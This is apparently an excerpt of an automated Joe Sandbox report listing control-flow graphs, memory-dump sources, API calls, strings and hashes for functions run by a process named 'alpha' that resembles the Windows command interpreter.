22855 7ff6bf3dc486 22854->22855 22856 7ff6bf3dc4c9 22854->22856 22857 7ff6bf3dc48e wcschr 22855->22857 22861 7ff6bf3dc161 22855->22861 22859 7ff6bf3dff70 2 API calls 22856->22859 22856->22861 22858 7ff6bf3dc4ef 22857->22858 22857->22861 22860 7ff6bf3dcd90 166 API calls 22858->22860 22859->22861 22867 7ff6bf3dc4f9 22860->22867 22861->22489 22861->22492 22862 7ff6bf3dc5bd 22863 7ff6bf3dc541 22862->22863 22864 7ff6bf3db6b0 170 API calls 22862->22864 22863->22861 22866 7ff6bf3dff70 2 API calls 22863->22866 22864->22863 22865 7ff6bf3dd840 178 API calls 22865->22867 22866->22861 22867->22861 22867->22862 22867->22863 22867->22865 22869 7ff6bf3db018 22868->22869 22869->22531 22870->22531 22872 7ff6bf3d72de 22871->22872 22873 7ff6bf3f4621 22871->22873 22874 7ff6bf3d72eb 22872->22874 22878 7ff6bf3f4530 22872->22878 22879 7ff6bf3f4467 22872->22879 22875 7ff6bf3f447b longjmp 22873->22875 22880 7ff6bf3f4639 22873->22880 22895 7ff6bf3f47e0 22873->22895 22902 7ff6bf3f475e 22873->22902 22932 7ff6bf3d7348 22874->22932 22881 7ff6bf3f4492 22875->22881 22876 7ff6bf3d7348 168 API calls 22919 7ff6bf3f4524 22876->22919 22885 7ff6bf3d7348 168 API calls 22878->22885 22879->22874 22879->22881 22889 7ff6bf3f4475 22879->22889 22882 7ff6bf3f4695 22880->22882 22883 7ff6bf3f463e 22880->22883 22884 7ff6bf3d7348 168 API calls 22881->22884 22888 7ff6bf3d73d4 168 API calls 22882->22888 22883->22875 22896 7ff6bf3f4654 22883->22896 22905 7ff6bf3f44a8 22884->22905 22907 7ff6bf3f4549 22885->22907 22886 7ff6bf3d7315 22947 7ff6bf3d73d4 22886->22947 22911 7ff6bf3f469a 22888->22911 22889->22875 22889->22882 22890 7ff6bf3d7348 168 API calls 22890->22895 22891 7ff6bf3d72b0 168 API calls 22898 7ff6bf3f480e 22891->22898 22892 7ff6bf3d7348 168 API calls 22892->22886 22894 7ff6bf3d7323 22894->22567 22895->22876 22908 7ff6bf3d7348 168 API calls 22896->22908 22897 7ff6bf3f45b2 22900 7ff6bf3d7348 168 API calls 22897->22900 22898->22567 22899 7ff6bf3f46e1 22903 7ff6bf3d72b0 168 API calls 22899->22903 22904 7ff6bf3f45c7 22900->22904 22901 7ff6bf3f455e 22901->22897 22912 7ff6bf3d7348 168 API calls 22901->22912 22902->22890 22910 7ff6bf3f4738 22903->22910 22913 7ff6bf3d7348 168 API calls 22904->22913 22906 7ff6bf3f44e2 22905->22906 22914 7ff6bf3d7348 168 API calls 22905->22914 22909 7ff6bf3d72b0 168 API calls 22906->22909 22907->22897 22907->22901 22920 7ff6bf3d7348 168 API calls 22907->22920 22908->22894 22915 7ff6bf3f44f1 22909->22915 22916 7ff6bf3d7348 168 API calls 22910->22916 22911->22899 22923 7ff6bf3f46ea 22911->22923 22924 7ff6bf3f46c7 22911->22924 22912->22897 22917 7ff6bf3f45db 22913->22917 22914->22906 22918 7ff6bf3d72b0 168 API calls 22915->22918 22916->22919 22921 7ff6bf3d7348 168 API calls 22917->22921 22922 7ff6bf3f4503 22918->22922 22919->22891 22919->22894 22920->22901 22925 7ff6bf3f45ec 22921->22925 22922->22894 22928 7ff6bf3d7348 168 API calls 22922->22928 22926 7ff6bf3d7348 168 API calls 22923->22926 22924->22899 22929 7ff6bf3d7348 168 API calls 22924->22929 22927 7ff6bf3d7348 168 API calls 22925->22927 22926->22899 22930 7ff6bf3f4600 22927->22930 22928->22919 22929->22899 22931 7ff6bf3d7348 168 API calls 22930->22931 22931->22919 22934 7ff6bf3d735d 22932->22934 22933 7ff6bf3d3278 166 API calls 22935 7ff6bf3f4820 longjmp 22933->22935 22934->22933 22934->22934 22936 7ff6bf3f4838 22934->22936 22946 7ff6bf3d73ab 22934->22946 22935->22936 22937 7ff6bf3d3278 166 API calls 22936->22937 22938 7ff6bf3f4844 longjmp 22937->22938 22939 7ff6bf3f485a 22938->22939 22940 7ff6bf3d7348 166 API calls 22939->22940 22941 7ff6bf3f487b 22940->22941 22942 7ff6bf3d7348 166 API calls 22941->22942 22943 7ff6bf3f48ad 22942->22943 22944 7ff6bf3d7348 166 API calls 22943->22944 22945 7ff6bf3d72ff 22944->22945 22945->22886 22945->22892 22948 7ff6bf3d7401 22947->22948 22948->22894 22949 7ff6bf3d7348 168 API calls 22948->22949 22950 7ff6bf3f487b 22949->22950 22951 7ff6bf3d7348 168 API calls 22950->22951 22952 7ff6bf3f48ad 22951->22952 22953 7ff6bf3d7348 168 API calls 22952->22953 22954 7ff6bf3f48be 22953->22954 22954->22894

                                                    Executed Functions

                                                    Function 00007FF6BF3E0A6C Relevance: 53.1, APIs: 23, Strings: 7, Instructions: 605COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsicmpwcschrwcsrchr$CurrentDirectoryNeedPath_wcsnicmpmemset
                                                    • String ID: .BAT$.CMD$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$PATH$PATHEXT$cmd
                                                    • API String ID: 3305344409-4288247545
                                                    • Opcode ID: 32027d78a79c69abf99783d1267dc340374f751313a3c2012563c12dbbf382bc
                                                    • Instruction ID: 7c79fdbda8c91559b092a6385bed104c3d4770484e67bfb4d348e2ef5c492896
                                                    • Opcode Fuzzy Hash: 32027d78a79c69abf99783d1267dc340374f751313a3c2012563c12dbbf382bc
                                                    • Instruction Fuzzy Hash: AE42D271A1C68285EB609BAD98402B967A0EF85B94F444134DF5ECF7F5DF3CE94483A0
                                                    Function 00007FF6BF3DAA54 Relevance: 51.3, APIs: 24, Strings: 5, Instructions: 536COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 216 7ff6bf3daa54-7ff6bf3daa98 call 7ff6bf3dcd90 219 7ff6bf3daa9e 216->219 220 7ff6bf3ebf5a-7ff6bf3ebf70 call 7ff6bf3e4c1c call 7ff6bf3dff70 216->220 221 7ff6bf3daaa5-7ff6bf3daaa8 219->221 223 7ff6bf3dacde-7ff6bf3dad00 221->223 224 7ff6bf3daaae-7ff6bf3daac8 wcschr 221->224 229 7ff6bf3dad06 223->229 224->223 226 7ff6bf3daace-7ff6bf3daae9 towlower 224->226 226->223 228 7ff6bf3daaef-7ff6bf3daaf3 226->228 231 7ff6bf3daaf9-7ff6bf3daafd 228->231 232 7ff6bf3ebeb7-7ff6bf3ebec4 call 7ff6bf3feaf0 228->232 233 7ff6bf3dad0d-7ff6bf3dad1f 229->233 236 7ff6bf3dab03-7ff6bf3dab07 231->236 237 7ff6bf3ebbcf 231->237 243 7ff6bf3ebf43-7ff6bf3ebf59 call 7ff6bf3e4c1c 232->243 244 7ff6bf3ebec6-7ff6bf3ebed8 call 7ff6bf3d3240 232->244 238 7ff6bf3dad22-7ff6bf3dad2a call 7ff6bf3e13e0 233->238 240 7ff6bf3dab7d-7ff6bf3dab81 236->240 241 7ff6bf3dab09-7ff6bf3dab0d 236->241 245 7ff6bf3ebbde 237->245 238->221 246 7ff6bf3ebe63 240->246 247 7ff6bf3dab87-7ff6bf3dab95 240->247 241->246 248 7ff6bf3dab13-7ff6bf3dab17 241->248 243->220 244->243 262 7ff6bf3ebeda-7ff6bf3ebee9 call 7ff6bf3d3240 244->262 257 7ff6bf3ebbea-7ff6bf3ebbec 245->257 254 7ff6bf3ebe72-7ff6bf3ebe88 call 7ff6bf3d3278 call 7ff6bf3e4c1c 246->254 252 7ff6bf3dab98-7ff6bf3daba0 247->252 248->240 253 7ff6bf3dab19-7ff6bf3dab1d 248->253 252->252 258 7ff6bf3daba2-7ff6bf3dabb3 call 7ff6bf3dcd90 252->258 253->245 259 7ff6bf3dab23-7ff6bf3dab27 253->259 281 7ff6bf3ebe89-7ff6bf3ebe8c 254->281 267 7ff6bf3ebbf8-7ff6bf3ebc01 257->267 258->220 272 7ff6bf3dabb9-7ff6bf3dabde call 7ff6bf3e13e0 call 7ff6bf3e33a8 258->272 259->257 260 7ff6bf3dab2d-7ff6bf3dab31 259->260 260->229 264 7ff6bf3dab37-7ff6bf3dab3b 260->264 276 7ff6bf3ebef3-7ff6bf3ebef9 262->276 277 7ff6bf3ebeeb-7ff6bf3ebef1 262->277 264->267 269 7ff6bf3dab41-7ff6bf3dab45 264->269 267->233 273 7ff6bf3dab4b-7ff6bf3dab4f 269->273 274 7ff6bf3ebc06-7ff6bf3ebc2a call 7ff6bf3e13e0 269->274 306 7ff6bf3dac75 272->306 307 7ff6bf3dabe4-7ff6bf3dabe7 272->307 279 7ff6bf3dab55-7ff6bf3dab78 call 7ff6bf3e13e0 273->279 280 7ff6bf3dad2f-7ff6bf3dad33 273->280 293 7ff6bf3ebc2c-7ff6bf3ebc4c _wcsnicmp 274->293 294 7ff6bf3ebc5a-7ff6bf3ebc61 274->294 276->243 282 7ff6bf3ebefb-7ff6bf3ebf0d call 7ff6bf3d3240 276->282 277->243 277->276 279->221 285 7ff6bf3ebc66-7ff6bf3ebc8a call 7ff6bf3e13e0 280->285 286 7ff6bf3dad39-7ff6bf3dad3d 280->286 289 7ff6bf3ebe92-7ff6bf3ebeaa call 7ff6bf3d3278 call 7ff6bf3e4c1c 281->289 290 7ff6bf3dacbe 281->290 282->243 313 7ff6bf3ebf0f-7ff6bf3ebf21 call 7ff6bf3d3240 282->313 319 7ff6bf3ebcc4-7ff6bf3ebcdc 285->319 320 7ff6bf3ebc8c-7ff6bf3ebcaa _wcsnicmp 285->320 295 7ff6bf3dad43-7ff6bf3dad49 286->295 296 7ff6bf3ebcde-7ff6bf3ebd02 call 7ff6bf3e13e0 286->296 342 7ff6bf3ebeab-7ff6bf3ebeb6 call 7ff6bf3e4c1c 289->342 300 7ff6bf3dacc0-7ff6bf3dacc7 290->300 293->294 303 7ff6bf3ebc4e-7ff6bf3ebc55 293->303 308 7ff6bf3ebd31-7ff6bf3ebd4f _wcsnicmp 294->308 304 7ff6bf3dad4f-7ff6bf3dad68 295->304 305 7ff6bf3ebd5e-7ff6bf3ebd65 295->305 335 7ff6bf3ebd04-7ff6bf3ebd24 _wcsnicmp 296->335 336 7ff6bf3ebd2a 296->336 300->300 310 7ff6bf3dacc9-7ff6bf3dacda 300->310 314 7ff6bf3ebbb3-7ff6bf3ebbb7 303->314 316 7ff6bf3dad6a 304->316 317 7ff6bf3dad6d-7ff6bf3dad70 304->317 305->304 315 7ff6bf3ebd6b-7ff6bf3ebd73 305->315 323 7ff6bf3dac77-7ff6bf3dac7f 306->323 307->290 318 7ff6bf3dabed-7ff6bf3dac0b call 7ff6bf3dcd90 * 2 307->318 325 7ff6bf3ebd55 308->325 326 7ff6bf3ebbc2-7ff6bf3ebbca 308->326 310->223 313->243 338 7ff6bf3ebf23-7ff6bf3ebf35 call 7ff6bf3d3240 313->338 327 7ff6bf3ebbba-7ff6bf3ebbbd call 7ff6bf3e13e0 314->327 328 7ff6bf3ebe4a-7ff6bf3ebe5e 315->328 329 7ff6bf3ebd79-7ff6bf3ebd8b iswxdigit 315->329 316->317 317->238 318->342 356 7ff6bf3dac11-7ff6bf3dac14 318->356 319->308 320->319 333 7ff6bf3ebcac-7ff6bf3ebcbf 320->333 323->290 331 7ff6bf3dac81-7ff6bf3dac85 323->331 325->305 326->221 327->326 328->327 329->328 340 7ff6bf3ebd91-7ff6bf3ebda3 iswxdigit 329->340 337 7ff6bf3dac88-7ff6bf3dac8f 331->337 333->314 335->336 343 7ff6bf3ebbac 335->343 336->308 337->337 346 7ff6bf3dac91-7ff6bf3dac94 337->346 338->243 358 7ff6bf3ebf37-7ff6bf3ebf3e call 7ff6bf3d3240 338->358 340->328 344 7ff6bf3ebda9-7ff6bf3ebdbb iswxdigit 340->344 342->232 343->314 344->328 351 7ff6bf3ebdc1-7ff6bf3ebdd7 iswdigit 344->351 346->290 349 7ff6bf3dac96-7ff6bf3dacaa wcsrchr 346->349 349->290 357 7ff6bf3dacac-7ff6bf3dacb9 call 7ff6bf3e1300 349->357 354 7ff6bf3ebddf-7ff6bf3ebdeb towlower 351->354 355 7ff6bf3ebdd9-7ff6bf3ebddd 351->355 361 7ff6bf3ebdee-7ff6bf3ebe0f iswdigit 354->361 355->361 356->342 362 7ff6bf3dac1a-7ff6bf3dac33 memset 356->362 357->290 358->243 363 7ff6bf3ebe11-7ff6bf3ebe15 361->363 364 7ff6bf3ebe17-7ff6bf3ebe23 towlower 361->364 362->306 365 7ff6bf3dac35-7ff6bf3dac4b wcschr 362->365 366 7ff6bf3ebe26-7ff6bf3ebe45 call 7ff6bf3e13e0 363->366 364->366 365->306 367 7ff6bf3dac4d-7ff6bf3dac54 365->367 366->328 368 7ff6bf3dad72-7ff6bf3dad91 wcschr 367->368 369 7ff6bf3dac5a-7ff6bf3dac6f wcschr 367->369 371 7ff6bf3daf03-7ff6bf3daf07 368->371 372 7ff6bf3dad97-7ff6bf3dadac wcschr 368->372 369->306 369->368 371->306 372->371 373 7ff6bf3dadb2-7ff6bf3dadc7 wcschr 372->373 373->371 374 7ff6bf3dadcd-7ff6bf3dade2 wcschr 373->374 374->371 375 7ff6bf3dade8-7ff6bf3dadfd wcschr 374->375 375->371 376 7ff6bf3dae03-7ff6bf3dae18 wcschr 375->376 376->371 377 7ff6bf3dae1e-7ff6bf3dae21 376->377 378 7ff6bf3dae24-7ff6bf3dae27 377->378 378->371 379 7ff6bf3dae2d-7ff6bf3dae40 iswspace 378->379 380 7ff6bf3dae42-7ff6bf3dae49 379->380 381 7ff6bf3dae4b-7ff6bf3dae5e 379->381 380->378 382 7ff6bf3dae66-7ff6bf3dae6d 381->382 382->382 383 7ff6bf3dae6f-7ff6bf3dae77 382->383 383->254 384 7ff6bf3dae7d-7ff6bf3dae97 call 7ff6bf3e13e0 383->384 387 7ff6bf3dae9a-7ff6bf3daea4 384->387 388 7ff6bf3daebc-7ff6bf3daef8 call 7ff6bf3e0a6c call 7ff6bf3dff70 * 2 387->388 389 7ff6bf3daea6-7ff6bf3daead 387->389 388->323 397 7ff6bf3daefe 388->397 389->388 390 7ff6bf3daeaf-7ff6bf3daeba 389->390 390->387 390->388 397->281
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heap$AllocProcessiswspacememsettowlowerwcsrchr
                                                    • String ID: :$:$:$:ON$OFF
                                                    • API String ID: 972821348-467788257
                                                    • Opcode ID: 4f886329839ce9d73f83e73040c14b409f6776bafd90df2433360a667a1c5ce6
                                                    • Instruction ID: 04834f3b4d4aaaafb97b479d739431463d4bc79ef9a191a92afeb65f245212c3
                                                    • Opcode Fuzzy Hash: 4f886329839ce9d73f83e73040c14b409f6776bafd90df2433360a667a1c5ce6
                                                    • Instruction Fuzzy Hash: 1122B635A1C64385EB659FAD95142B9BB91EF55B80F488035CB0ECB3B6DF7CA940C390
                                                    Function 00007FF6BF3E51EC Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 384COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 398 7ff6bf3e51ec-7ff6bf3e5248 call 7ff6bf3e5508 GetLocaleInfoW 401 7ff6bf3eef32-7ff6bf3eef3c 398->401 402 7ff6bf3e524e-7ff6bf3e5272 GetLocaleInfoW 398->402 403 7ff6bf3eef3f-7ff6bf3eef49 401->403 404 7ff6bf3e5295-7ff6bf3e52b9 GetLocaleInfoW 402->404 405 7ff6bf3e5274-7ff6bf3e527a 402->405 408 7ff6bf3eef61-7ff6bf3eef6c 403->408 409 7ff6bf3eef4b-7ff6bf3eef52 403->409 406 7ff6bf3e52de-7ff6bf3e5305 GetLocaleInfoW 404->406 407 7ff6bf3e52bb-7ff6bf3e52c3 404->407 410 7ff6bf3e5280-7ff6bf3e5286 405->410 411 7ff6bf3e54f7-7ff6bf3e54f9 405->411 414 7ff6bf3e5321-7ff6bf3e5343 GetLocaleInfoW 406->414 415 7ff6bf3e5307-7ff6bf3e531b 406->415 412 7ff6bf3eef75-7ff6bf3eef78 407->412 413 7ff6bf3e52c9-7ff6bf3e52d7 407->413 408->412 409->408 416 7ff6bf3eef54-7ff6bf3eef5f 409->416 410->411 417 7ff6bf3e528c-7ff6bf3e528f 410->417 411->401 420 7ff6bf3eef7a-7ff6bf3eef7d 412->420 421 7ff6bf3eef99-7ff6bf3eefa3 412->421 413->406 418 7ff6bf3eefaf-7ff6bf3eefb9 414->418 419 7ff6bf3e5349-7ff6bf3e536e GetLocaleInfoW 414->419 415->414 416->403 416->408 417->404 422 7ff6bf3eefbc-7ff6bf3eefc6 418->422 423 7ff6bf3eeff2-7ff6bf3eeffc 419->423 424 7ff6bf3e5374-7ff6bf3e5396 GetLocaleInfoW 419->424 420->406 425 7ff6bf3eef83-7ff6bf3eef8d 420->425 421->418 426 7ff6bf3eefde-7ff6bf3eefe9 422->426 427 7ff6bf3eefc8-7ff6bf3eefcf 422->427 428 7ff6bf3eefff-7ff6bf3ef009 423->428 429 7ff6bf3ef035-7ff6bf3ef03f 424->429 430 7ff6bf3e539c-7ff6bf3e53be GetLocaleInfoW 424->430 425->421 426->423 427->426 431 7ff6bf3eefd1-7ff6bf3eefdc 427->431 432 7ff6bf3ef021-7ff6bf3ef02c 428->432 433 7ff6bf3ef00b-7ff6bf3ef012 428->433 436 7ff6bf3ef042-7ff6bf3ef04c 429->436 434 7ff6bf3e53c4-7ff6bf3e53e6 GetLocaleInfoW 430->434 435 7ff6bf3ef078-7ff6bf3ef082 430->435 431->422 431->426 432->429 433->432 438 7ff6bf3ef014-7ff6bf3ef01f 433->438 439 7ff6bf3ef0bb-7ff6bf3ef0c5 434->439 440 7ff6bf3e53ec-7ff6bf3e540e GetLocaleInfoW 434->440 437 7ff6bf3ef085-7ff6bf3ef08f 435->437 441 7ff6bf3ef064-7ff6bf3ef06f 436->441 442 7ff6bf3ef04e-7ff6bf3ef055 436->442 443 7ff6bf3ef091-7ff6bf3ef098 437->443 444 7ff6bf3ef0a7-7ff6bf3ef0b2 437->444 438->428 438->432 445 7ff6bf3ef0c8-7ff6bf3ef0d2 439->445 446 7ff6bf3e5414-7ff6bf3e5436 GetLocaleInfoW 440->446 447 7ff6bf3ef0fe-7ff6bf3ef108 440->447 441->435 442->441 448 7ff6bf3ef057-7ff6bf3ef062 442->448 443->444 449 7ff6bf3ef09a-7ff6bf3ef0a5 443->449 444->439 450 7ff6bf3ef0d4-7ff6bf3ef0db 445->450 451 7ff6bf3ef0ea-7ff6bf3ef0f5 445->451 452 7ff6bf3ef141-7ff6bf3ef14b 446->452 453 7ff6bf3e543c-7ff6bf3e545e GetLocaleInfoW 446->453 454 7ff6bf3ef10b-7ff6bf3ef115 447->454 448->436 448->441 449->437 449->444 450->451 458 7ff6bf3ef0dd-7ff6bf3ef0e8 450->458 451->447 457 7ff6bf3ef14e-7ff6bf3ef158 452->457 459 7ff6bf3ef184-7ff6bf3ef18b 453->459 460 7ff6bf3e5464-7ff6bf3e5486 GetLocaleInfoW 453->460 455 7ff6bf3ef12d-7ff6bf3ef138 454->455 456 7ff6bf3ef117-7ff6bf3ef11e 454->456 455->452 456->455 461 7ff6bf3ef120-7ff6bf3ef12b 456->461 462 7ff6bf3ef170-7ff6bf3ef17b 457->462 463 7ff6bf3ef15a-7ff6bf3ef161 457->463 458->445 458->451 464 7ff6bf3ef18e-7ff6bf3ef198 459->464 465 7ff6bf3ef1c4-7ff6bf3ef1ce 460->465 466 7ff6bf3e548c-7ff6bf3e54ae GetLocaleInfoW 460->466 461->454 461->455 462->459 463->462 468 7ff6bf3ef163-7ff6bf3ef16e 463->468 469 7ff6bf3ef1b0-7ff6bf3ef1bb 464->469 470 7ff6bf3ef19a-7ff6bf3ef1a1 464->470 467 7ff6bf3ef1d1-7ff6bf3ef1db 465->467 471 7ff6bf3e54b4-7ff6bf3e54f5 setlocale call 7ff6bf3e8f80 466->471 472 7ff6bf3ef207-7ff6bf3ef20e 466->472 474 7ff6bf3ef1f3-7ff6bf3ef1fe 467->474 475 7ff6bf3ef1dd-7ff6bf3ef1e4 467->475 468->457 468->462 469->465 470->469 477 7ff6bf3ef1a3-7ff6bf3ef1ae 470->477 476 7ff6bf3ef211-7ff6bf3ef21b 472->476 474->472 475->474 479 7ff6bf3ef1e6-7ff6bf3ef1f1 475->479 480 7ff6bf3ef233-7ff6bf3ef23e 476->480 481 7ff6bf3ef21d-7ff6bf3ef224 476->481 477->464 477->469 479->467 479->474 481->480 482 7ff6bf3ef226-7ff6bf3ef231 481->482 482->476 482->480
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: InfoLocale$DefaultUsersetlocale
                                                    • String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
                                                    • API String ID: 1351325837-2236139042
                                                    • Opcode ID: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
                                                    • Instruction ID: 3655898dd86ef31dd965ab297666d0b9b4055a900ec346b125e6cbeed4a380e3
                                                    • Opcode Fuzzy Hash: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
                                                    • Instruction Fuzzy Hash: AEF16A35B1874685EB258FA9D9002B967A4BF18B80F849135CB0D8B7B5EF7CE909C360
                                                    Function 00007FF6BF3E4224 Relevance: 45.8, APIs: 19, Strings: 7, Instructions: 328threadprocessstringCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 483 7ff6bf3e4224-7ff6bf3e42a5 InitializeProcThreadAttributeList 484 7ff6bf3eecd4-7ff6bf3eecee GetLastError call 7ff6bf3f9eec 483->484 485 7ff6bf3e42ab-7ff6bf3e42e5 UpdateProcThreadAttribute 483->485 492 7ff6bf3eed1e 484->492 487 7ff6bf3eecf0-7ff6bf3eed19 GetLastError call 7ff6bf3f9eec DeleteProcThreadAttributeList 485->487 488 7ff6bf3e42eb-7ff6bf3e43c6 memset * 2 GetStartupInfoW call 7ff6bf3e3a90 call 7ff6bf3db900 485->488 487->492 497 7ff6bf3e43cc-7ff6bf3e43d3 488->497 498 7ff6bf3e4638-7ff6bf3e4644 _local_unwind 488->498 499 7ff6bf3e4649-7ff6bf3e4650 497->499 500 7ff6bf3e43d9-7ff6bf3e43dc 497->500 498->499 499->500 503 7ff6bf3e4656-7ff6bf3e465d 499->503 501 7ff6bf3e4415-7ff6bf3e4424 call 7ff6bf3e5a68 500->501 502 7ff6bf3e43de-7ff6bf3e43f5 wcsrchr 500->502 509 7ff6bf3e442a-7ff6bf3e4486 CreateProcessW 501->509 510 7ff6bf3e4589-7ff6bf3e4590 501->510 502->501 506 7ff6bf3e43f7-7ff6bf3e440f lstrcmpW 502->506 503->501 505 7ff6bf3e4663 503->505 505->500 506->501 508 7ff6bf3e4668-7ff6bf3e466d call 7ff6bf3f9044 506->508 508->501 512 7ff6bf3e448b-7ff6bf3e448f 509->512 510->509 514 7ff6bf3e4596-7ff6bf3e45fa CreateProcessAsUserW 510->514 515 7ff6bf3e4672-7ff6bf3e4682 GetLastError 512->515 516 7ff6bf3e4495-7ff6bf3e44c7 CloseHandle call 7ff6bf3e498c 512->516 514->512 518 7ff6bf3e468d-7ff6bf3e4694 515->518 516->518 522 7ff6bf3e44cd-7ff6bf3e44e5 516->522 520 7ff6bf3e46a2-7ff6bf3e46ac 518->520 521 7ff6bf3e4696-7ff6bf3e46a0 518->521 523 7ff6bf3e46ae-7ff6bf3e46b5 call 7ff6bf3e97bc 520->523 526 7ff6bf3e4705-7ff6bf3e4707 520->526 521->520 521->523 524 7ff6bf3e47a3-7ff6bf3e47a9 522->524 525 7ff6bf3e44eb-7ff6bf3e44f2 522->525 541 7ff6bf3e4703 523->541 542 7ff6bf3e46b7-7ff6bf3e4701 call 7ff6bf42c038 523->542 528 7ff6bf3e45ff-7ff6bf3e4607 525->528 529 7ff6bf3e44f8-7ff6bf3e4507 525->529 526->522 527 7ff6bf3e470d-7ff6bf3e472a call 7ff6bf3dcd90 526->527 543 7ff6bf3e473d-7ff6bf3e4767 call 7ff6bf3e13e0 call 7ff6bf3f9eec call 7ff6bf3dff70 _local_unwind 527->543 544 7ff6bf3e472c-7ff6bf3e4738 _local_unwind 527->544 528->529 532 7ff6bf3e460d 528->532 533 7ff6bf3e4612-7ff6bf3e4616 529->533 534 7ff6bf3e450d-7ff6bf3e4512 call 7ff6bf3e5cb4 529->534 537 7ff6bf3e476c-7ff6bf3e4773 532->537 539 7ff6bf3e461c-7ff6bf3e4633 533->539 540 7ff6bf3e47d7-7ff6bf3e47df 533->540 547 7ff6bf3e4517-7ff6bf3e455e call 7ff6bf3e33f0 call 7ff6bf3e498c 534->547 537->529 548 7ff6bf3e4779-7ff6bf3e4780 537->548 545 7ff6bf3e47f2-7ff6bf3e483c call 7ff6bf3dff70 DeleteProcThreadAttributeList call 7ff6bf3e8f80 539->545 540->545 546 7ff6bf3e47e1-7ff6bf3e47ed CloseHandle 540->546 541->526 542->526 543->537 544->543 546->545 567 7ff6bf3e4564-7ff6bf3e4579 call 7ff6bf3e498c 547->567 568 7ff6bf3e47ae-7ff6bf3e47ca call 7ff6bf3e33f0 547->568 548->529 553 7ff6bf3e4786-7ff6bf3e4789 548->553 553->529 558 7ff6bf3e478f-7ff6bf3e4792 553->558 558->524 559 7ff6bf3e4794-7ff6bf3e479d call 7ff6bf3fa250 558->559 559->524 559->529 567->545 576 7ff6bf3e457f-7ff6bf3e4584 call 7ff6bf3fa920 567->576 568->540 576->545
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
